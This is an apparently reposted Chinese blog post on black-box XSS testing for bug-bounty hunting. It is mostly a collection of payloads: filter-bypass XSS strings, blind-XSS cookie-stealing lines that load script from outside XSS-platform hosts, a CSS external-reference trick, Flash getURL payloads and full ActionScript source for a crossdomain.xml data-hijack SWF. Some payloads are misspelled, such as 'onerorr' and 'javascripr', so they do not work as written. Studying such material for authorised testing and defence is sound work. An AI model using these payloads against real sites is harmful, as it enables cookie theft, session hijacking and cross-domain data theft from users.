1. 程式人生 > >我是如何黑盒測試XSS漏洞的?

我是如何黑盒測試XSS漏洞的?

flash loading target http 小寫 tdi ebs 可能 發展

在挖掘SRC中,很多人挖洞都是挖掘的XSS漏洞,隨著Web安全的普及,人類越來越註重自身網站的安全。

來一篇簡單的黑盒測試XSS漏洞的一點方法和個人的一些見解

一般測試XSS漏洞,一般是簡單測試下,而不是直接深層次的繞過代碼直接去碰,測試XSS常規的XSS測試語句是:

"><img/src/onerror=alert(1)>

屢試不爽

先講一個簡單的,在測試XSS漏洞的時候,當我們使用這個語句的時候,一般瀏覽器/網站自身都有過濾和防護

所以很無奈,這種payload遇到大型網站一般GG了!

想讓這種普通payload觸發我們該如何去做?

我來說一個我實際遇到的情況:

假設有個提交的表單的頁面:表單提交的頁面有個添加網站的功能,添加網站功能做了驗證,他只允許添加網站,而不允許添加那些非網站的信息,只允許http://xxx.com這種,而不允許text文檔。

技術分享圖片

遇到類似於這種情況,就是相當於你遇到當網站遇到限制你操作的時候,只允許做某種輸入的時候,那麽就很有可能存在XSS漏洞。

我們先輸入正確的輸入規則然後抓包,然後我們把正確的輸入規則改成錯誤的規則,就是我們上面常規的XSS Payload:

技術分享圖片

技術分享圖片

然後我們發包:

技術分享圖片

技術分享圖片

這只是其中一種情況,這種漏洞還是蠻常見的。我遇到了好幾次了

我們知道很多時候XSS漏洞的修復不是白盒修復,而是黑盒修復,修復的並不完善:

有的XSS修復是只過濾了script而沒有進行其他標簽的過濾:

提供一點XSS語句:

<embed src="http://www.baidu.com" />

<style onload=alert(1)>

"><iframe onload=alert(1)>

<input oninput=alert(1)

很多時候我們會發現使用其他payload會出現意想不到的效果:

網頁編碼GBK格式繞過過濾方法:

%bf<script%bf>%bf</script/%bf>

之前看了個百度的發帖輸入XSS payload彈窗的存儲型xss漏洞,所用的payload 是:

<iimgmg src=# onerror=alalertert(document.cookie)>

雙代碼繞過思路。其實很多時候輸入常規代碼不彈窗的時候不要氣餒,嘗試使用其他payload

關於XSS盲打,一般是直接借用XSS攻擊平臺最普通的XSS打cookie語句:

</tExtArEa>‘"><sCRiPt sRC=http://2xss.cc/VgFl></sCrIpT>

現在程序員對盲打cookie使用這個語句多少有點了解,都會禁止傳輸textarea標簽,等價於這條盲打語句的是:

<a onmouseover=s=createElement(‘script‘);body.appendChild(s);s.src=http://oxss.cn/Qs13>sss</a>

我臨時使用的XSS測試平臺是:

http://xxx/xss.php?do=project&act=create

很多時候會對<>進行過濾,我們可以進行各種編碼繞過這裏不講了,《心傷的瘦子的XSS》文章介紹的很清楚了!

關於callback,隨著互聯網的發展,接口出現的頻率越來越高,我之前測試的一個網站,百分之80的網站接口都是callback,那麽callback接口是否會存在什麽安全隱患呢 ?

答案是必然的,他會存在sql註入,XSS等。

這裏主要是彈XSS漏洞

提供幾個接口測試的XSS payload:

<img src=1 onerorr=alert(1)>

javascripr:alert(1)

vbscript:alert(1)

舉例子三個,我只是拋磚引玉,還可以延生很多XSS語句比如 prompt彈窗都可以,包括大小寫,都可能造成彈窗!

很多時候XSS是過濾的是那些js標簽和HTML標簽,他沒有過濾css標簽,那麽css外部引用漏洞就變得有機可乘了

(1) <span style="font-size:99px;">aaaa</span>

(2) <span style="font-size:99px; background:url(‘//timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1508326019771&di=20c2f2ee7f6c14f62ea9984fd1ebfbd3&imgtype=jpg‘)">aaaa</span>

最後一點關於crossdomain.xml

很多網站,都存在crossdomain.xml文檔,大家一定要註意這個文件,很多高危漏洞都因為他,crossdomain.xml是可以導致跨域的一個重大原因之一。有句話我的印象很深刻,一個swf文件相當於一個高危漏洞,當swf遇到crossdomain.xml文檔就是高危的產生。

swf文件的利用格式是很多的, 提供一份swf文檔代碼:

package com.powerflasher.SampleApp {

import flash.external.ExternalInterface;

import flash.display.Sprite;

import flash.display.Sprite;

import flash.events.Event;

import flash.net.URLLoader;

import flash.net.URLRequest;

import flash.text.TextField;

import flash.text.TextFieldAutoSize;

import flash.xml.*;

import flash.events.IOErrorEvent;

import flash.events.*;

import flash.net.*;

/**

* @author User

*/

public class CrossDomainDataHijack extends Sprite {

private var loader:URLLoader;

public function CrossDomainDataHijack() {

loader = new URLLoader();

configureListeners(loader);

var target:String = root.loaderInfo.parameters.input;

var request:URLRequest = new URLRequest(target);

try {

loader.load(request);

} catch (error:Error) {

sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());

}

}

private function configureListeners(dispatcher:IEventDispatcher):void {

dispatcher.addEventListener(Event.COMPLETE, completeHandler);

dispatcher.addEventListener(Event.OPEN, openHandler);

dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);

dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);

dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);

dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);

}

private function completeHandler(event:Event):void {

var loader:URLLoader = URLLoader(event.target);

//trace("completeHandler: " + loader.data);

sendDatatoJS("completeHandler: " + loader.data);

}

private function openHandler(event:Event):void {

//trace("openHandler: " + event);

sendDatatoJS("openHandler: " + event);

}

private function progressHandler(event:ProgressEvent):void {

//trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);

sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);

}

private function securityErrorHandler(event:SecurityErrorEvent):void {

//trace("securityErrorHandler: " + event);

sendDatatoJS("securityErrorHandler: " + event);

}

private function httpStatusHandler(event:HTTPStatusEvent):void {

//trace("httpStatusHandler: " + event);

sendDatatoJS("httpStatusHandler: " + event);

}

private function ioErrorHandler(event:IOErrorEvent):void {

//trace("ioErrorHandler: " + event);

sendDatatoJS("ioErrorHandler: " + event);

}

private function sendDatatoJS(data:String):void{

trace(data);

ExternalInterface.call("sendToJavaScript", data);

}

}

}

他的繞過後綴有好幾種:

大家要格外註意這一塊漏洞!

要記住文件上傳不僅僅可以是拿webshell,還可能是跨域劫持哦。假設文件上傳不存在php,asp,aspx,jsp等文件的上傳不要灰心,應該嘗試html後綴和swf後綴或者是swf文檔的隱藏gif png jpg格式的上傳。漏洞挖掘中,我們不應該錯過任何一次嘗試,每一次錯過代表你與漏洞將失之交臂。要始終堅信即使是最安全的系統也可能存在安全漏洞,一切皆有可能。

關於flash xss文檔的制作:

簡單的XSS payload制作:

getURL("javascript:alert(‘test‘)");

假如我們把我們的swf文件發給其他用戶是否會進行文件未對swf的過濾處理?導致收件人預覽/打開文件的一瞬間瞬間彈窗呢?

一切皆有可能。

我上面所講的,我都親身體會挖掘過,附帶的提一下CRLF這種漏洞的挖掘思路:

詳情我不說了,看細節文章吧:

http://www.secevery.com:4321/bugs/wooyun-2016-0173904

寫的很詳細,本人非常佩服! XSS問題是個持續性的安全問題,需要廣大的安全愛好者們去深入挖掘和突破,他遠沒有我說的那麽簡單,他很復雜,值得研究,作者只是拋磚引玉,以後遇到更好的挖掘方式,自會更新!

我是如何黑盒測試XSS漏洞的?